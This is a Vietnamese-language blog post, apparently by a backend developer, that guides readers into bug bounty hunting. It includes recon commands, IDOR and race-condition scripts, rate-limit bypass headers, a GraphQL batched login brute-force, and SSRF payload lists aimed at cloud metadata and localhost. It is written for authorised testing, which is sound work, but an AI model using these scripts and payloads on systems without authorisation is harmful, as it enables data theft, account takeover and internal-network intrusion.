+1

Từ Dev Backend sang Săn Bug Bounty: Những thứ tôi ước mình biết sớm hơn

Bài viết này dài khoảng 80–90 phút đọc. Pha cà phê đi rồi tính.


Mục lục

  1. Lần đầu nhận 1000$ từ bug bounty — câu chuyện tôi không bao giờ quên
  2. Bug Bounty 2026 đang hot như thế nào?
  3. Mindset & Tư duy cần có khi săn Bug Bounty
  4. Hành trình thực chiến – Từ Zero đến Bug đầu tiên
  5. Case study thực tế
  6. Chiến lược nâng cao & Kiếm tiền ổn định
  7. Lời khuyên thực tế cho Dev Việt Nam
  8. Kết luận

1. Lần đầu nhận 1000$ từ bug bounty

Hồi đó là khoảng 11 giờ đêm, mình đang ngồi gõ code cho một cái service quản lý đơn hàng — cái loại việc nhàm đến mức mắt díu lại. Ly cà phê đã nguội từ lúc nào không hay. Slack thì im re vì mấy đứa team đã offline hết. Mình đang nghĩ đến chuyện đi ngủ thì điện thoại rung.

Một email từ HackerOne.

"Congratulations! Your report #XXXXXX has been resolved and awarded $1,000."

Mình đọc lại ba lần. Rồi bốn lần.

Không phải vì không tin. Mà vì cái cảm giác nó kỳ lạ lắm — mình vừa kiếm được một nghìn đô la Mỹ từ việc... ngồi nghịch một cái API của người ta trong lúc rảnh. Không残 加班. Không hop họp. Không làm slide báo cáo. Chỉ là mình, terminal, và một đống HTTP request.

Câu chuyện bắt đầu từ khoảng 3 tuần trước đó.

Lúc bấy giờ mình đang là backend dev được khoảng 6 năm, chuyên Node.js + Go, làm cho một công ty fintech khá ổn ở Hà Nội. Lương tạm được, công việc không quá áp lực, nhưng mình bắt đầu cảm thấy một cái gì đó... thiếu thiếu. Cái cảm giác code ngày nào cũng theo một pattern giống nhau, viết API hôm nay rồi ngày mai lại viết API kiểu tương tự. Nhàm. Mình thì không phải type người cam chịu nhàm.

Một người bạn trong nhóm dev Discord bảo: "Ông thử bug bounty đi, ông giỏi backend thì ngon lắm, mấy cái IDOR với Business Logic là đặc sản của dev backend." Mình cười trừ, nghĩ chắc chỉ là hype thôi. Nhưng cái đêm hôm đó, sau khi đọc xong một thread dài trên Twitter về một guy kiếm được $5,000 từ một bug trong API pagination, mình bắt đầu coi thật.

Mình chọn một chương trình public trên HackerOne của một công ty SaaS khá nổi, scope rộng, có nhiều subdomain để thám hiểm. Ba tuần đầu thì... tịt. Không tìm được cái gì ra hồn. Một vài Low mà mình report thì đều bị đánh Informational hoặc Duplicate. Bực vãi.

Nhưng tuần thứ tư thì khác.

Mình đang test cái flow export dữ liệu của họ — một tính năng cho phép user export CSV báo cáo. Mình nhận thấy trong request body có một parameter tên user_id. Theo logic bình thường, cái này phải được server validate — chỉ export được dữ liệu của chính user đang đăng nhập. Mình thử đổi user_id sang ID của một tài khoản test khác mình tự tạo.

POST /api/v2/reports/export
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "report_type": "monthly_summary",
  "start_date": "2026-01-01",
  "end_date": "2026-01-31",
  "user_id": 98472,    <-- mình đổi cái này sang ID của account khác
  "format": "csv"
}

Response về một file CSV. Với đầy đủ dữ liệu của account 98472.

Tim mình đập nhanh hơn một chút. Mình test thêm với vài ID random khác. Cùng kết quả. Không cần là admin. Không cần có token đặc biệt gì. Chỉ cần biết (hoặc đoán) user_id của người dùng khác là xong.

Đây là IDOR — Insecure Direct Object Reference. Một trong những loại bug kinh điển nhất, và cũng là loại mà nhiều công ty lớn vẫn mắc phải vì nó thường nằm ở những tính năng ngách, ít được test kỹ.

Mình ngồi viết report trong khoảng 2 tiếng đồng hồ. Kỹ càng. Có PoC rõ ràng. Có video demo. Có impact analysis. Gửi đi lúc 1 giờ sáng rồi đi ngủ, không kỳ vọng nhiều.

Ba tuần sau — cái email đó xuất hiện.

Cảm giác lúc nhận tiền về tài khoản không hẳn là sung sướng theo kiểu được thưởng hay tăng lương. Nó là một loại thỏa mãn khác — như kiểu bạn tự mình giải được một bài toán khó mà không ai chỉ cho. Tự mình tìm ra. Tự mình chứng minh. Và người ta trả tiền vì nó thật sự có giá trị.

Tại sao dev backend nên quan tâm đến Bug Bounty năm 2026?

Cái này mình muốn nói thẳng: Dev backend có lợi thế cực kỳ lớn trong bug bounty, và đa phần không biết điều này.

Vì sao? Vì phần lớn bug nghiêm trọng hiện nay không nằm ở frontend. XSS vẫn còn đó nhưng reward thường không cao bằng. Bug nghiêm trọng, bug trả tiền nhiều — nó nằm ở logic nghiệp vụ, API, authentication, authorization, data access control. Đó là mảnh đất mà dev backend đã đạp chân mỗi ngày trong suốt sự nghiệp.

Bạn biết cách REST API hoạt động. Bạn hiểu JWT, session, OAuth. Bạn biết tại sao pagination lại có thể bị abuse. Bạn biết cách database trả dữ liệu về và tại sao ORM đôi khi "quên" filter theo user context. Bạn biết tất cả những thứ đó — và đó chính xác là những thứ attacker cần hiểu để tìm bug.

Ngoài ra, bug bounty năm 2026 không còn là sân chơi của mấy anh security chuyên nghiệp nữa. Nó đã mở rộng cực nhiều. Hàng nghìn chương trình mới ra mỗi năm. Budget trả thưởng tăng liên tục. Và quan trọng hơn — nhiều công ty đang thiếu người biết cả hai phía: dev và security.


2. Bug Bounty 2026 đang hot như thế nào?

Nhớ hồi trước 2024, mình thấy bug bounty như là thứ gì đó chỉ dành cho mấy anh chuyên security mặc áo hoodie ngồi trong bóng tối. Cộng đồng nhỏ, reward không nhiều, và đa phần chương trình đều scope hẹp kinh khủng.

Bây giờ thì khác hoàn toàn.

Sự thay đổi từ 2024 đến nay

Trước 2024:

  • Phần lớn reward dưới $500 cho Medium severity
  • Nhiều chương trình chỉ accept một số loại bug nhất định (XSS, SQLi)
  • Timeline triage chậm, nhiều khi đợi 2-3 tháng mới có response
  • Ít chương trình private, khó được invite

2025–2026:

  • Critical bug trên một số platform lớn có thể reward tới $50,000–$100,000
  • Business Logic và API Security được đánh giá cao hơn nhiều
  • AI/LLM security là mảng mới với reward cực khủng
  • Nhiều công ty setup dedicated bug bounty team để triage nhanh hơn
  • Private program mở rộng — nhiều hunter được invite mà không cần reputation quá cao

Theo báo cáo của HackerOne năm 2025, tổng reward đã trả ra vượt mốc $400 triệu kể từ khi platform ra đời — và con số này tăng theo cấp số nhân. Bugcrowd cũng report tương tự.

Các loại bug đang trả tiền cao nhất

Đây là những gì mình thấy trên thực tế, không phải lý thuyết:

🔴 Critical / High — Trả tiền nhiều nhất:

Loại Bug Reward Trung Bình Ghi Chú
SSRF (Server-Side Request Forgery) $2,000–$15,000 Đặc biệt nếu access được internal services
SQL Injection $3,000–$20,000 Hiếm hơn nhưng vẫn xuất hiện
Authentication Bypass $5,000–$50,000 Tùy mức độ impact
RCE (Remote Code Execution) $10,000–$100,000+ Jackpot nếu tìm được
OAuth Misconfiguration $2,000–$10,000 Rất phổ biến ở SaaS

🟡 Medium — Dễ tìm hơn, vẫn có tiền:

Loại Bug Reward Trung Bình Ghi Chú
IDOR $500–$3,000 Đặc sản của dev backend
Broken Access Control $500–$5,000 Business logic quan trọng
Business Logic Flaws $300–$5,000 Cần hiểu sâu về sản phẩm
Rate Limit Bypass $200–$1,000 Dễ tìm, nhưng impact cần rõ ràng
Insecure API Endpoints $500–$3,000 Rất phổ biến

🟢 Low — Cho điểm reputation:

  • Information Disclosure (không critical)
  • Missing security headers (thường Informational)
  • Verbose error messages

Nền tảng nào phù hợp cho dev Việt Nam?

Đây là góc nhìn thực tế của mình, không phải quảng cáo:

HackerOne — Lớn nhất, uy tín nhất. Payout qua PayPal hoặc ngân hàng. Nhiều chương trình private ngon. Tuy nhiên cạnh tranh cao vì nhiều hunter giỏi.

Bugcrowd — Giao diện thân thiện hơn với người mới. Nhiều managed program. Response time tốt. Phù hợp để bắt đầu.

YesWeHack — Đây là platform mình nghĩ nhiều hunter Việt Nam bỏ qua. Nhiều chương trình của công ty châu Âu, ít cạnh tranh hơn HackerOne. Reward decent.

Intigriti — Tương tự YesWeHack, focus châu Âu. Cộng đồng nhỏ hơn = ít duplicate hơn.

Synack — Private, cần pass vetting process. Nhưng nếu vào được thì reward rất tốt và ít cạnh tranh. Có vetting gồm background check và technical assessment — không phải ai cũng vào được ngay, nhưng goal để hướng tới sau 1–2 năm kinh nghiệm.

Chương trình private trực tiếp — Nhiều công ty lớn (Google, Meta, Apple, Microsoft) có chương trình riêng không qua platform. Reward cao hơn vì không phải chia commission cho platform. Google VRP trả tới $31,337 cho một số loại bug; Apple Security Research Device Program thậm chí cho bạn mượn thiết bị để test.

Một điều ít người biết: Nhiều startup Đông Nam Á đang launch chương trình bug bounty nhưng chưa được biết đến rộng rãi. Những chương trình này cực kỳ tốt cho người mới vì ít hunter, scope rộng, và team thường phản hồi nhanh và thân thiện. Tìm bằng cách search GitHub: site:github.com bug bounty security.txt kết hợp với tên các công ty fintech, edtech, healthtech trong khu vực.

Thu nhập thực tế của hunter Việt Nam

Mình có nói chuyện với một số anh em trong cộng đồng security Việt Nam. Con số thực tế thế này:

  • Beginner (0–6 tháng): $0–$500/tháng, chủ yếu để học
  • Intermediate (6–18 tháng): $500–$2,000/tháng nếu consistent
  • Experienced (2+ năm): $3,000–$10,000/tháng với những người giỏi
  • Top hunters: Một số người Việt Nam đang kiếm $20,000+/năm từ bug bounty

Đừng để con số "top" làm bạn ảo tưởng. Đa số mọi người ở bracket intermediate, và đó đã là very decent side income bên cạnh công việc chính.

Tuy nhiên mình cũng muốn nói thật: income từ bug bounty không đều. Có tháng bạn kiếm $3,000, có tháng $0. Đây không phải salary — đây là freelance với element of luck. Một số yếu tố ảnh hưởng:

  • Timing: Report đầu tiên với một bug cụ thể = reward. Report thứ hai với cùng bug = duplicate.
  • Program budget: Một số chương trình hết budget giữa năm, reward giảm hoặc pause.
  • Scope thay đổi: Bug bạn đang test có thể bị đưa ra ngoài scope bất cứ lúc nào.
  • Triage quality: Một số chương trình triage kém, đánh giá sai severity.

Vì những lý do này, hầu hết hunter nghiêm túc vẫn giữ công việc fulltime. Bug bounty là supplemental income cực tốt, nhưng replace hoàn toàn fulltime salary thì cần thời gian và consistent performance ít nhất 2–3 năm.


3. Mindset & Tư duy cần có

Đây là phần mà mình nghĩ quan trọng nhất, nhưng lại ít ai nói đến. Vì mọi người hay nhảy thẳng vào "học tool gì, dùng cái gì" mà bỏ qua câu hỏi căn bản hơn: Bạn có đang suy nghĩ đúng kiểu không?

Tư duy Attacker thay vì Defender

Trong công việc hàng ngày, dev backend nghĩ theo kiểu defender: "Làm sao để tính năng này hoạt động đúng?" Bạn viết code, bạn test happy path, bạn đảm bảo data được lưu đúng, response trả về đúng format.

Bug bounty đòi hỏi bạn flip hoàn toàn cái switch đó.

Attacker mindset là: "Làm sao để tính năng này hoạt động SAI theo cách tôi muốn?"

Ví dụ cụ thể: Một cái API endpoint cho phép user upload avatar.

  • Defender nghĩ: "Tôi sẽ validate file type, giới hạn file size, lưu vào S3, return URL."
  • Attacker nghĩ: "File type validation ở đâu — client hay server? Nếu chỉ ở client thì bypass được không? Extension check hay MIME type check? Double extension thì sao (.jpg.php)? Path traversal khi save file không? Nếu không resize thì có thể embed shell vào metadata không? URL có thể được dùng để SSRF không?"

Cùng một tính năng. Hai cách nhìn hoàn toàn khác nhau.

Cái hay là dev backend đã có nền tảng để hiểu tại sao những câu hỏi của attacker lại có thể thành hiện thực. Bạn biết code backend hoạt động thế nào, bạn biết những shortcut nào dev hay làm, bạn biết validate input thường bị bỏ qua ở đâu. Đó là lợi thế cực lớn.

Một bài tập mình hay làm để rèn tư duy attacker:

Mỗi khi viết một cái API endpoint mới ở công việc chính, mình dành 5–10 phút sau đó để tự hỏi: "Nếu mình là hacker và muốn abuse endpoint này, mình sẽ làm gì?" Những câu hỏi điển hình:

  • Authorization check ở đâu? Có thể bypass không?
  • Input validation có đủ chặt không? Nếu gửi giá trị ngoài expected range thì sao?
  • Có race condition tiềm ẩn không?
  • Error message có tiết lộ thông tin nhạy cảm không?
  • Có thể gọi endpoint này nhiều lần đồng thời để gây side effects không?

Làm việc này thường xuyên, tư duy sẽ tự động switch sang attacker mode khi bạn ngồi vào bug bounty session.

Tại sao đa số dev fail ngay từ đầu?

Mình đã thấy pattern này nhiều lần — cả ở bản thân mình và ở những người mình mentored:

Lỗi #1: Target quá lớn ngay từ đầu

Người mới hay nghĩ: "Tôi sẽ test Google. Tôi sẽ test Facebook." Và rồi sau 2 tuần không tìm được gì, họ bỏ cuộc. Vấn đề là Google và Facebook có đội security khổng lồ, đã được test bởi hàng nghìn hunter xịn hơn bạn trong nhiều năm. Low-hanging fruit đã không còn.

Lỗi #2: Chỉ dùng tool, không dùng não

Chạy Burp Suite, chạy Nuclei, chạy ffuf — rồi ngồi đợi tool báo bug. Tool quan trọng nhưng chỉ là 30% công việc. 70% còn lại là tư duy và phân tích thủ công.

Lỗi #3: Không đọc scope kỹ

Mình từng report một bug rất ngon vào... một domain ngoài scope. N/A ngay lập tức. Bực không thể tả. Đọc scope là bước đầu tiên, không phải bước cuối.

Lỗi #4: Không học từ public report

HackerOne Hacktivity và Bugcrowd Crowdstream là gold mine. Hàng nghìn report đã được disclosed, mô tả chi tiết cách tìm bug, PoC, impact. Mình đã học được cực kỳ nhiều từ việc đọc report của người khác.

Lỗi #5: Bỏ cuộc sau duplicate đầu tiên

Duplicate là chuyện bình thường. Xảy ra với tất cả mọi người, kể cả hunter có rank cao. Không phải lỗi của bạn — đôi khi đơn giản là bạn tìm ra cùng bug với ai đó khác. Nhưng điều quan trọng là: nếu bạn tìm được bug đó, nghĩa là bạn đang đi đúng hướng.

Lỗi tâm lý phổ biến

Sợ report: "Cái này chắc không phải bug đâu, chắc mình nhầm." Không sao. Report nó đi. Worst case là Informational. Best case là $500.

Sợ bị ignore: Triage thường mất 1–4 tuần với chương trình public. Kiên nhẫn. Nếu 4 tuần không có response, ping lại một lần lịch sự.

Sợ duplicate: Đây là nỗi ám ảnh lớn nhất của hunter mới. Nhưng thực ra duplicate cũng cho bạn biết bạn đang tìm đúng chỗ. Và đôi khi report của bạn cung cấp thêm context mà report trước không có, bạn vẫn được credit một phần.

Perfectionism: Đừng giữ bug trong tay 2 tuần để "viết report thật hoàn hảo." Gửi sớm thôi, vì ai đó khác có thể đang test cùng chương trình.


4. Hành trình thực chiến – Từ Zero đến Bug đầu tiên

Đây là phần dài nhất và cũng là phần quan trọng nhất. Không phải theory. Là những gì thực sự hoạt động.

4.1 Chuẩn bị — Tools & Setup

Trước khi bắt đầu, bạn cần setup một môi trường làm việc ngon. Mình sẽ không list hết mọi tool trên đời — chỉ những cái mình thực sự dùng.

Hệ điều hành:

Dùng Linux hoặc macOS. Mình dùng Ubuntu 22.04 cho máy chính, có máy ảo Kali cho một số việc. Windows vẫn được nhưng nhiều tool trên Linux dễ chạy hơn nhiều.

Burp Suite — Không thể thiếu:

# Cài Java trước
sudo apt install default-jdk

# Download Burp Community (free) hoặc Professional ($449/năm)
# Professional worth it nếu bạn nghiêm túc với bug bounty
# Có scanner tốt hơn, nhiều extension hơn

Burp Suite là trung tâm của workflow. Intercept request, modify, repeat, intruder — tất cả đều qua đây. Nếu bạn chưa biết Burp, đây là thứ đầu tiên cần học.

Reconnaissance tools:

# Subfinder — tìm subdomain
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# httpx — probe HTTP services
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# nuclei — vulnerability scanner
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# ffuf — fuzzing
go install github.com/ffuf/ffuf/v2@latest

# amass — advanced subdomain enum
go install -v github.com/owasp-amass/amass/v4/...@master@latest

# gau — get all URLs (từ Wayback Machine, Common Crawl, etc.)
go install github.com/lc/gau/v2/cmd/gau@latest

# waybackurls
go install github.com/tomnomnom/waybackurls@latest

Một số tool Python cần thiết:

pip install sqlmap       # SQL injection testing
pip install requests     # scripting
pip install jwt          # JWT manipulation
pip install pwntools     # exploitation framework

Browser setup:

  • Firefox với FoxyProxy extension để route qua Burp
  • Chromium riêng biệt cho test không qua proxy

VPS (quan trọng!):

Mua một VPS nhỏ ($5–$10/tháng trên DigitalOcean hoặc Vultr). Dùng để:

  • Nhận callback (SSRF, XXE, blind XSS)
  • Chạy long-running recon
  • Tránh IP bị block
# Setup interactsh server để bắt OOB (Out-of-Band) interactions
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

Tổ chức workspace:

bug-bounty/
├── targets/
│   ├── company-a/
│   │   ├── recon/
│   │   │   ├── subdomains.txt
│   │   │   ├── live-hosts.txt
│   │   │   └── endpoints.txt
│   │   ├── findings/
│   │   │   ├── bug-001-idor/
│   │   │   └── bug-002-ssrf/
│   │   └── notes.md
│   └── company-b/
├── tools/
├── wordlists/
│   ├── common.txt
│   ├── api-endpoints.txt
│   └── params.txt
└── templates/
    └── report-template.md

Ngăn nắp từ đầu sẽ cứu bạn khỏi nhiều cơn đau đầu về sau.

4.2 Chọn chương trình phù hợp cho Beginner

Đây là sai lầm lớn nhất mà người mới thường mắc: chọn sai target.

Tiêu chí chọn chương trình cho beginner:

✅ Scope rộng (nhiều subdomain, nhiều tính năng) ✅ Reward rõ ràng (có bảng giá published) ✅ Response time tốt (xem reviews trên HackerOne) ✅ Không quá nhiều hunter (tránh program của FAANG) ✅ Sản phẩm bạn quen dùng hoặc hiểu business logic

❌ Tránh: Google, Facebook, Apple, Uber (quá cạnh tranh) ❌ Tránh: Scope chỉ có 1–2 domain ❌ Tránh: Chương trình nhiều "out of scope" exceptions

Cách tìm chương trình tốt:

# Không có tool tự động cho việc này, phải research thủ công
# Nhưng có thể filter trên HackerOne:
# - Bounty: Yes
# - Managed: Yes (response nhanh hơn)
# - Sort by: Newest (ít hunter cũ hơn)

Mình hay recommend các loại target sau cho beginner:

  • SaaS B2B nhỏ-vừa: Nhiều tính năng phức tạp, đội security nhỏ hơn các tập đoàn lớn
  • Fintech startup: Business logic phức tạp, reward tốt
  • E-commerce platform: IDOR và pricing bug phổ biến
  • API-first companies: Scope thường rộng, API documentation giúp hiểu hệ thống nhanh

Một trick hay: Tìm những chương trình mới ra trong 3–6 tháng gần đây. Lý do: ít hunter đã test, nhiều low-hanging fruit hơn, đội security vẫn đang setup process.

4.3 Methodology săn bug

Mình có một quy trình riêng, không phải copy paste từ đâu mà được hình thành qua nhiều tháng thử và fail:

Phase 1: Reconnaissance (2–4 giờ cho target mới)

# Bước 1: Enum subdomain
subfinder -d target.com -o subdomains.txt -silent
amass enum -passive -d target.com >> subdomains.txt
sort -u subdomains.txt -o subdomains.txt

# Bước 2: Check live hosts
cat subdomains.txt | httpx -status-code -title -tech-detect -o live-hosts.txt

# Bước 3: Crawl URLs
cat live-hosts.txt | gau --threads 5 | tee all-urls.txt
cat live-hosts.txt | waybackurls >> all-urls.txt
sort -u all-urls.txt -o all-urls.txt

# Bước 4: Filter interesting URLs
cat all-urls.txt | grep -E "\.(php|asp|aspx|jsp|json|xml)" | tee interesting-urls.txt
cat all-urls.txt | grep -E "(api|admin|internal|dev|staging|test)" | tee admin-urls.txt
cat all-urls.txt | grep "?" | tee param-urls.txt  # URLs có parameter

Phase 2: Manual Exploration (Quan trọng nhất)

Đây là phần không thể automate hoàn toàn. Bật Burp Suite lên, browse qua toàn bộ sản phẩm như một user bình thường. Tạo 2 account test khác nhau (account A và B). Dùng tính năng như một user thật, để Burp capture hết traffic.

Những thứ mình chú ý khi manual browse:

  • Cách application xử lý ID (numeric? UUID? something else?)
  • Flow authentication (login, logout, session management)
  • Flow authorization (access control giữa các role)
  • Upload features
  • Import/Export features
  • Payment/billing flows
  • API calls (đặc biệt là GraphQL nếu có)

Phase 3: Targeted Testing

Sau khi có bức tranh tổng quan, focus vào specific attack vectors dựa trên những gì bạn thấy.

4.4 Các loại bug "dễ ăn" cho Dev Backend

Mình sẽ breakdown từng loại theo kiểu practical, không phải textbook.

IDOR — Insecure Direct Object Reference

Đây là bug mà dev backend có lợi thế lớn nhất vì bạn biết cách ID thường được generate và sử dụng.

Pattern phổ biến:

# Numeric ID — dễ nhất
GET /api/orders/12345
GET /api/users/98472/profile
GET /api/invoices/56789/download

# UUID — khó đoán hơn nhưng vẫn vulnerable nếu predictable
GET /api/documents/550e8400-e29b-41d4-a716-446655440000

# Base64 encoded ID — đừng bị trick, decode ra thôi
GET /api/items/NTU2Nzg5  # decode: 556789

Cách test IDOR:

  1. Đăng nhập bằng Account A, thực hiện một action (xem order, download file...)
  2. Copy request trong Burp
  3. Đổi ID sang ID của Account B (hoặc ID random)
  4. Nếu server trả về data của Account B → IDOR!
# Script test IDOR đơn giản
import requests

headers_account_a = {
    "Authorization": "Bearer TOKEN_OF_ACCOUNT_A",
    "Content-Type": "application/json"
}

# Thử các ID khác nhau
for user_id in range(98470, 98480):
    response = requests.get(
        f"https://target.com/api/users/{user_id}/profile",
        headers=headers_account_a
    )
    if response.status_code == 200:
        data = response.json()
        print(f"ID {user_id}: {data.get('email', 'No email')} - IDOR!")

Các biến thể IDOR ít được biết đến:

  • IDOR trong POST body: Như ví dụ bug $1,000 của mình — ID trong request body, không phải URL
  • IDOR trong file download: ?file=user_12345_report.pdf — thử đổi sang user_12346_report.pdf
  • IDOR trong GraphQL: Query với id field, thử đổi

Broken Access Control

Rộng hơn IDOR. Bao gồm mọi trường hợp user access được resource mà họ không được phép.

Pattern phổ biến:

# Missing function-level access control
GET /api/admin/users          # Endpoint admin nhưng không check role
DELETE /api/admin/users/123   # Ai cũng xóa được?

# Privilege escalation
POST /api/users/update
{
  "email": "new@email.com",
  "role": "admin"             # Thêm field này vào xem sao
}

# Horizontal privilege escalation
GET /api/team/456/members     # Bạn thuộc team 123, team 456 có xem được không?

Test checklist:

  • [ ] Truy cập endpoint admin khi không có quyền admin
  • [ ] Thêm role, isAdmin, permissions vào request body
  • [ ] Test method switching: endpoint chỉ cho GET, thử PUT/POST/DELETE
  • [ ] Test path variations: /api/v1/admin, /api/v2/admin, /admin/api

Business Logic Flaws

Đây là loại bug phức tạp nhất nhưng cũng độc đáo nhất — không tool nào scan được, phải dùng não.

Ví dụ thực tế:

Pricing manipulation:

POST /api/cart/checkout
{
  "items": [
    {"product_id": 123, "quantity": 1, "price": 999.99}  # Thử đổi price
  ],
  "coupon": "DISCOUNT50"
}

Nhiều system tin tưởng price từ client. Đây là sai lầm kinh điển.

Negative quantity:

POST /api/cart/add
{
  "product_id": 123,
  "quantity": -1   # Negative quantity
}

Một số system sẽ subtract thay vì add, dẫn đến số tiền âm — và đôi khi refund tiền vào wallet.

Race condition — Mình yêu thích nhất:

import threading
import requests

def use_coupon(token, coupon_code):
    response = requests.post(
        "https://target.com/api/coupon/apply",
        headers={"Authorization": f"Bearer {token}"},
        json={"code": coupon_code}
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Gửi 20 request đồng thời
threads = []
for i in range(20):
    t = threading.Thread(
        target=use_coupon,
        args=("YOUR_TOKEN", "ONE_TIME_COUPON")
    )
    threads.append(t)

for t in threads:
    t.start()

for t in threads:
    t.join()

Nếu server không xử lý race condition đúng, one-time coupon có thể được dùng nhiều lần.

Rate Limit Bypass

Nhiều người bỏ qua loại này vì nghĩ impact thấp. Nhưng nếu bạn chứng minh được impact rõ ràng (brute force password, enumerate account, spam email...) thì reward decent.

Các kỹ thuật bypass rate limit:

# Thêm header để bypass
X-Forwarded-For: 1.2.3.4      # Rotate IP
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
CF-Connecting-IP: 1.2.3.4
True-Client-IP: 1.2.3.4

# Case variation trong email (nếu rate limit theo email)
user@example.com
USER@example.com
u.s.e.r@example.com  # Gmail ignores dots
user+tag@example.com # Plus addressing
# Test rate limit bypass với rotating headers
import requests
import time

def test_rate_limit_bypass(target_url, payload):
    for i in range(100):
        headers = {
            "Content-Type": "application/json",
            "X-Forwarded-For": f"10.0.0.{i % 255}"  # Rotate "IP"
        }
        response = requests.post(target_url, json=payload, headers=headers)
        print(f"Request {i}: {response.status_code}")
        
        if response.status_code == 429:
            print("Rate limit hit without bypass working")
            break
        
        time.sleep(0.1)

API Abuse & Broken Object Level Authorization

GraphQL đặc biệt thú vị vì schema có thể expose nhiều thứ hơn bạn nghĩ:

# Introspection query — check xem có bị disable không
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Thử query field không được expose
query {
  user(id: "456") {
    id
    email
    password_hash    # Có field này không?
    admin_token      # Hoặc cái này?
    internal_notes   # Hay cái này?
  }
}

# Batch query để bypass rate limit
[
  {"query": "mutation { login(email: \"admin@example.com\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"admin@example.com\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"admin@example.com\", password: \"pass3\") { token } }"}
]

4.5 Khai thác sâu — SSRF

SSRF là bug tôi yêu thích nhất vì potential impact cực cao. Với dev backend, bạn hiểu internal architecture, nên test SSRF hiệu quả hơn nhiều.

Setup interactsh để catch callback:

# Terminal 1 — chạy interactsh client
interactsh-client -server https://interact.sh -token YOUR_TOKEN

# Sẽ generate URL dạng: abcdefgh.interact.sh
# Dùng URL này trong payload SSRF

Tìm điểm inject SSRF:

# Các parameter thường có SSRF
url=
callback=
webhook=
redirect=
next=
forward=
link=
fetch=
load=
target=
src=
source=
proxy=
import=
uri=

Test SSRF cơ bản:

# Test với interactsh
POST /api/webhooks
{
  "callback_url": "https://abcdefgh.interact.sh/test"
}

# Test internal services
POST /api/import
{
  "url": "http://169.254.169.254/latest/meta-data/"  # AWS IMDSv1
}

# Common internal ports
http://localhost:80
http://localhost:8080
http://localhost:8443
http://127.0.0.1:6379   # Redis
http://127.0.0.1:9200   # Elasticsearch
http://127.0.0.1:27017  # MongoDB

SSRF bypass techniques:

# Bypass "localhost" blacklist
ssrf_payloads = [
    "http://127.0.0.1/",
    "http://127.1/",
    "http://0/",
    "http://[::1]/",
    "http://[0:0:0:0:0:0:0:1]/",
    "http://0.0.0.0/",
    "http://017700000001/",     # Octal
    "http://2130706433/",       # Decimal
    "http://0x7f000001/",       # Hex
    "http://localhost.attacker.com/",  # DNS rebinding
    "http://①②⑦.⓪.⓪.①/",    # Unicode
]

4.6 Viết Report chất lượng cao

Report tệ = bug bị đánh giá thấp hơn giá trị thực. Mình đã học được điều này theo cách đau đớn.

Template report của mình:

## Bug Report: [Tên Bug Ngắn Gọn]

### Summary
[1-2 câu mô tả bug là gì, ở đâu, impact ra sao]

### Severity
Critical / High / Medium / Low

### Description
[Mô tả chi tiết hơn, bao gồm:
- Root cause là gì
- Tại sao nó là security issue
- Ai có thể bị ảnh hưởng]

### Steps to Reproduce
1. Login với account: `attacker@test.com` / `password123`
2. Navigate đến: `https://target.com/api/orders`
3. Intercept request bằng Burp Suite
4. Thay đổi parameter `user_id` từ `12345` sang `98472`
5. Forward request
6. Observe: Response chứa data của user 98472

### Proof of Concept
#### Request:
```http
POST /api/v2/orders/export HTTP/1.1
Host: api.target.com
Authorization: Bearer ATTACKER_TOKEN
Content-Type: application/json

{
  "user_id": 98472,
  "format": "json"
}

Response:

{
  "success": true,
  "data": {
    "user_email": "victim@company.com",
    "orders": [...],
    "total_spent": 15420.50
  }
}

[Video PoC: Link to video] [Screenshots: Attached]

Impact

Confidentiality: HIGH — Attacker có thể đọc dữ liệu nhạy cảm của bất kỳ user nào Integrity: MEDIUM — [nếu có] Availability: NONE

Business Impact:

  • Dữ liệu tài chính của tất cả user bị exposed
  • Vi phạm GDPR/compliance requirements
  • Reputation damage nếu bị exploit public

CVSS Score

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N → Score: 6.5 (Medium) [Hoặc dùng CVSS calculator để tính chính xác]

Suggested Fix

Verify rằng user_id trong request match với authenticated user's ID trước khi query database:

// Bad (current)
const orders = await getOrders(req.body.user_id);

// Good (suggested fix)  
const orders = await getOrders(req.user.id); // Lấy từ JWT/session, không phải từ request body

References


**Tips viết report ngon:**

1. **Video PoC > Screenshot > Text only.** Quay màn hình làm PoC, upload lên YouTube (unlisted) hoặc attach trực tiếp.
2. **Đừng oversell severity.** Đánh giá fair. Nếu overstate thì triage sẽ downgrade, ảnh hưởng uy tín của bạn.
3. **Suggested fix = điểm cộng.** Triage và dev team đều thích người report biết cách fix.
4. **Clear steps to reproduce.** Assume người đọc không biết bạn đang test cái gì. Step by step, không bỏ qua bước nào.
5. **CVSS score.** Không bắt buộc nhưng cho thấy bạn professional.

### 4.7 Xử lý khi bị Duplicate, N/A, Out of Scope

Ba cái này sẽ xảy ra. Thường xuyên. Đây là cách xử lý mà không tổn hại tinh thần:

**Duplicate:**
- Đừng phản ứng gay gắt
- Request xem report gốc nếu được (một số program cho phép)
- Nếu bug của bạn có impact cao hơn hoặc attack vector khác, nêu ra lịch sự
- Ghi nhận: bạn đang đúng hướng, tiếp tục dig deeper

**N/A (Not Applicable):**
- Đọc kỹ lý do
- Nếu bạn disagreement có lý, reply với evidence cụ thể
- Đừng aggressive, giữ professional
- Đôi khi N/A vì bạn chưa show đủ impact — thêm impact analysis vào

**Out of Scope:**
- Phòng hơn chữa: đọc scope kỹ TRƯỚC khi test
- Nếu bị OOS vì lý do kỳ lạ, hỏi lại lịch sự
- Một số program sẽ vẫn trả reward hoặc kudos nếu bug critical dù OOS — không phải tất cả nhưng có trường hợp

---

## 5. Case Study Thực Tế

### Case Study 1: IDOR trong Export Function — $1,000

Đây là bug mình đã kể ở đầu bài. Mình sẽ đi sâu hơn vào kỹ thuật.

**Target:** SaaS platform quản lý dự án (không nêu tên theo NDA)
**Platform:** HackerOne
**Severity:** Medium
**Reward:** $1,000

